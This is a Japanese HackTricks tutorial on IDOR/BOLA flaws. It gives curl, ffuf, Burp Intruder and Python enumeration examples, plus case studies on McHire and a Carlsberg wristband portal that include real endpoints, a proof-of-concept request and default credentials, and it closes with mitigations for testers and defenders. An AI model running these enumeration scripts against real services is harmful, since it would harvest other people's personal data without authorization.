IDOR (Insecure Direct Object Reference)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API エンドポイントがユーザーが制御できる識別子を公開または受け取り、その識別子を使って内部オブジェクトに直接アクセスし、呼び出し元がそのオブジェクトへのアクセス/変更を許可されているかを検証しない場合に発生します。 成功した悪用は通常、他ユーザーのデータの読み取りや変更といった水平・垂直の権限昇格を可能にし、最悪の場合はアカウントの完全乗っ取りや大量データの持ち出しにつながります。


1. Identifying Potential IDORs

  1. オブジェクトを参照するパラメータを探す:
  • パス: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • クエリ: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • ヘッダ / Cookies: X-Client-ID: 4711
  1. データを読み取りまたは更新するエンドポイント(GET, PUT, PATCH, DELETE)を優先する。
  2. 識別子が連番または予測可能かを確認する — 例えばあなたのIDが 64185742 なら 64185741 も存在する可能性が高い。
  3. 隠れたまたは別のフロー(例: ログインページの “Paradox team members” リンク)を調べ、追加のAPIが露出していないか確認する。
  4. 権限の低い認証済みセッションを使い、同じトークン/クッキーを維持したままIDだけ変更する。認可エラーが出ない場合は通常IDORの兆候である。

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

自動列挙 (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

予測可能なダウンロードIDの列挙 (ffuf)

認証されたファイルホスティングパネルはしばしばユーザーごとのメタデータを単一の files テーブルに保存し、/download.php?id=<int> のようなダウンロードエンドポイントを公開している。
ハンドラがIDの存在のみをチェックし(そのIDが認証ユーザに属するかはチェックしない)場合、有効な session cookie を使って整数空間をスイープし、他の tenants の backups/configs を盗むことができる:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr は 404 スタイルのテンプレートを除外して、真のヒットのみを残します(例: IDs 54/150 leaking full site backups and signing material)。
  • 同じ FFUF ワークフローは Burp Intruder や curl ループでも機能します — IDs をインクリメントする間、認証されたままでいることを確認してください。

認証済みの組み合わせ列挙 (ffuf + jq)

一部の IDORs は multiple object IDs を受け付けます(例: 2 人のユーザ間のチャットスレッド)。アプリがログインしているかどうかだけをチェックしている場合、セッション cookie を維持したまま両方の IDs を fuzz できます:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

その後、jq を使って JSON 出力を後処理し、(A,B) と (B,A) のような対称的な重複を削除し、一意のペアだけを保持してください:

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

ダウンロード用エンドポイントが username と filename の両方を受け取る場合(例: /view.php?username=<u>&file=<f>)、エラーメッセージの微妙な違いがしばしば oracle を生み出します:

  • 存在しない username → “User not found”
  • filename が不正だが拡張子は有効 → “File does not exist” (sometimes also lists available files)
  • 拡張子が不正 → validation error

任意の認証済みセッションがあれば、無害な filename を固定して username パラメータを fuzz し、“user not found” という文字列でフィルタして有効なユーザを発見できます:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

有効なユーザー名が判明したら、特定のファイルを直接リクエストします(例: /view.php?username=amanda&file=privacy.odt)。このパターンは他のユーザーのドキュメントの不正開示や資格情報の流出を引き起こすことがよくあります。


2. 実世界のケーススタディ – McHire Chatbot Platform (2025)

Paradox.ai-powered McHire の採用ポータルを評価した際、次の IDOR が発見されました:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8桁の、連番の数値識別子

lead_id を減少させることで、テスターは任意の応募者の full PII(name、e-mail、phone、address、shift preferences)と、session hijacking を可能にする consumer JWT を取得しました。範囲 1 – 64,185,742 を列挙した結果、約 64 million 件のレコードが露出しました。

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

ケーススタディ – リストバンドQRコードが弱い bearer tokens として機能 (2025–2026)

Flow: 展示来場者はQRコード入りのリストバンドを受け取り、https://homeofcarlsberg.com/memories/ をスキャンするとブラウザが printed wristband ID を取得して hex-encode し、cloudfunctions.net バックエンドを呼び出して保存されたメディア(写真/動画 + 氏名)を取得していた。セッションバインディングやユーザー認証は一切なく—IDの知識 = 認可 だった。

Predictability: リストバンドIDは C-285-100 のような短いパターンに従っており → ASCII hex 432d3238352d31303043 2d 32 38 35 2d 31 30 30)。キー空間は約~26Mの組み合わせと推定され、オンラインで網羅するのは容易だった。

Exploitation workflow with Burp Intruder:

  1. Payload generation: 候補IDを生成(例: [A-Z]-###-###)。Burp Intruder の PitchforkCluster Bomb を使い、文字と数字の位置にペイロードを割り当てる。さらに payload processing rule → Add prefix/suffix → payload encoding: ASCII hex を追加して、各リクエストがバックエンドが期待するhex文字列を送信するようにする。
  2. Response grep: Intruder に grep-match を設定し、有効なレスポンスにのみ現れるマーカー(例: メディアURL/JSONフィールド)を検出する。無効なIDは通常空配列や404を返した。
  3. Throughput measurement: ラップトップから約~1,000,000件のIDを約2時間でテスト(約~139 req/s)。その速度ならフルキー空間(~26M)は約~52時間で探索可能。サンプル実行で既に約~500件の有効なリストバンド(動画 + フルネーム)が露出した。
  4. Rate-limiting verification: ベンダーがスロットリングを主張した後、同じIntruder設定で再実行。スループットとヒット率が同一だったため、制御は存在しないか無効であり、列挙は妨げられなかった。

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) はエントロピーを増やさない。短い IDs は化粧的なエンコーディングにもかかわらず列挙可能な bearer tokens になってしまう。per-user authorization と high-entropy secrets がないと、media/PII は「rate limiting」が主張されていても一括収集され得る。


3. IDOR / BOLA の影響

  • Horizontal escalation – 他のユーザーのデータを読み取り/更新/削除できる。
  • Vertical escalation – 権限の低いユーザーが管理者専用の機能を得る。
  • 識別子が連番の場合、大量のデータ漏洩が発生する(例: applicant IDs, invoices)。
  • 他ユーザーの tokens を盗む、またはパスワードをリセットすることでアカウント乗っ取りが発生する。

4. 緩和策とベストプラクティス

  1. すべてのリクエストで Enforce object-level authorization を行う(user_id == session.user)。
  2. auto-increment IDs の代わりに indirect, unguessable identifiers(UUIDv4、ULID)を使用する。
  3. 認可は必ず server-side で行い、hidden form fields や UI controls に依存しない。
  4. 中央のミドルウェアで RBAC / ABAC チェックを実装する。
  5. rate-limiting & logging を導入して ID の列挙を検出する。
  6. すべての新しいエンドポイントをセキュリティテストする(unit、integration、および DAST)。

5. ツール

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする